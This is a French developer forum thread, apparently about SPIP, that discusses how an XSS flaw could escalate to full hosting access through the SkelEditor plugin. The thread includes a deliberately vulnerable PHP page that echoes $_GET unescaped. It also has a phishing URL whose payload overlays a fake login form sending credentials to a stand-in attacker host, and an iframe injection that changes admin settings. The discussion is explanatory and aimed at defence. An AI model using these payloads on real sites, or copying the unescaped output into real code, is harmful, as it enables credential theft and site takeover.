Questionnement sur la dangerosité d'une faille XSS (en général)

Bonjour la Team,

Si j’ai bien compris, une faille XSS, c’est quelque chose qui permet de
faire exécuter un JS arbitraire dans le contexte de la personne identifiée.

Dans, dans le cas des webmestres, ça permet de voler son cookie de
connexion, et d’avoir accès à toutes les actions à sa disposition.

J’ai juste jusque-là ?

Or, les webmestres :

  1. peuvent installer des plugins
  2. donc peuvent installer SkelEditor (ou l’activer si déjà sur
    l’hébergement)

Et SkelEditor permet de mettre dans le dossier squelettes/ un fichier PHP
arbitraire.

Et ce fichier PHP peut être un Shell PHP…

J’ai juste ?

Donc, on se retrouve avec une CVE d’apparence relativement faible (XSS)
qui, en fait, est une full access à l’hébergement.

Plutôt que de demander le mot de passe à chaque activation d’un plugin, il
me semble que c’est plutôt SkelEditor qu’il faudrait sécuriser afin qu’il
demande le mot de passe dès que le fichier contient « <?php » ou « <? ».

En écrivant ça, je me demande si ce serait suffisant (exemple : un fichier
.py sur un serveur capable d’en exécuter…).

L’autre piste, ce serait d’avoir dans paquet.xml + SVP un flag :
installation/activation nécessite mot de passe webmestre…

Bonne semaine

RealET

Je pense pas que cette discussion ait besoin d’être privée (dans team). On peut la déplacer vers spip-dev que tout le monde en profite ?

1 « J'aime »

J’avais envoyé sur Team parce que je voulais éviter de donner la recette du FullAccess publiquement.

Ceci dit, encore faut-il être capable d’exploiter une XSS, ce que je ne sais pas faire.

alors… je crois que le principe d’un XSS c’est de proposer à un utilisateur une URL trafiquée qui injecte du code dans le site. Pour que le XSS fonctionne il faut donc qu’il y ait un affichage de variable non sécurisé sur une page, et que l’utilisateur clique sur le lien malicieux conçu pour exploiter cet affichage, et ainsi arrive sur la page qui va afficher le code modifié par l’URL.

Par exemple, disons que j’ai un site appelé SuperSecure, dans lequel j’ai un formulaire de contact, qui une fois saisi renvoie sur cette super page contact_envoi.php dont voici en exclusivité le code source :

<html>
<body>
<h1>SuperSecure(tm), le site en qui vous pouvez avoir confiance</h1>
<p>Merci pour votre contact, <?php echo $_GET["nom"]; ?></p>
<p>Un agent va bientôt vous recontacter.</p>

On voit que $_GET[« nom »] n’est pas sécurisé : il va juste afficher le contenu de la variable nom. Et si nom contient du HTML, il va afficher du HTML.

Pour mon XSS je vais envoyer un mail à ma victime, disons l’administrateur de SuperSecure, qui ressemblerait à ceci :

Un nouveau contact nécessite votre attention sur SuperSecure, cliquez donc sur ce lien:

https://sitesupersecure.test/contact_envoi.php?nom=<div style="width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index:1000;"><h1>Connexion</h1><form action="https://vilainpirate.test/steal_password.php" method="POST">Votre login :<input type="text" name="identifiant">Votre mot de passe :<input type="password" name="password"><button type="submit" name="Login"></form></div>

Lorsque la victime clique sur ce lien, elle verra un formulaire de connexion tout à fait légitime qui s’est calé par dessus la page normale grâce à la magie des CSS (bon je grossis un peu le trait…) et qui va envoyer son identifiant et son mot de passe, si elle les saisit, au serveur de vilainpirate.

Et je suppose qu’à la place de HTML on pourrait aussi mettre du javascript qui va récupérer le cookie de session et faire plein de choses de façon dynamique.

Mais le niveau de la vulnérabilité n’est pas très élevé, parce qu’il nécessite quand même que l’utilisateur se fasse « hameçonner » (par exemple via un email) pour que ça marche. Pour ça, il faut que le pirate ait déjà des informations personnelles relatives à la personne ciblée (son email, par exemple, ou bien son numéro de téléphone pour envoyer un SMS piégé). Et que la victime ne s’aperçoive pas que l’URL est bizarre.

Le fait de demander le mot de passe du webmestre n’est dans ce contexte pas une garantie supplémentaire, parce que rien n’empêche l’auteur du XSS d’injecter un « faux » formulaire de login qui lui permettra d’exfiltrer le nom d’utilisateur et le mot de passe, comme dans l’exemple ci-dessus.

Moralité : il ne faut jamais cliquer sur des liens sur internet :smiley:

Sur ce point là, sauf erreur de ma part, le cookie de connexion (spip_session) est en HttpsOnly, donc pas lisible en javascript, donc pas récupérable.

1 « J'aime »

Précisions, à partir de SPIP 4.2.3

En fait pour préciser, une faille XSS basiquement te permet de faire exécuter une requête ou du code (le plus souvent avec du JS) par un visiteur d’un site (potentiellement un admin) à son insu.

Il n’y a pas besoin de « voler » le cookie/session de connexion ou autre.

Ex :

J’arrive à injecter un simple code du type <iframe src="/ecrire/?exec=configurer_identite&nom_site=Hacked_By_JO"> grâce à un formulaire du site mal sécurisé (genre en envoyant un message de contact).

Ensuite on imagine que le site affiche tel quel le message envoyé sans le sécuriser (sans échapper le code html)

Et bien à ce moment la suffit qu’un admin passe sur la page qui affiche le message non échappé (dans l’espace privé par exemple), et il va déclencher malgré lui la requête exec=configurer_identite&nom_site=Hacked_By_JO et le nom du site sera changé.

Dans le concept ça marche comme ça (pas besoin de voler quoique ce soit) !

L’exemple que je viens de donner est basique et ne marche pas aussi simplement avec SPIP (sécurité de hash, requête _POST, etc…) Mais dès qu’on peut injecter du JS ça devient vite une autre histoire car avec JS on peut faire des requêtes ajax avec POST, copier/coller les hash de sécurité présent dans le dom html, etc etc… il n’y a pas vraiment de limite.

1 « J'aime »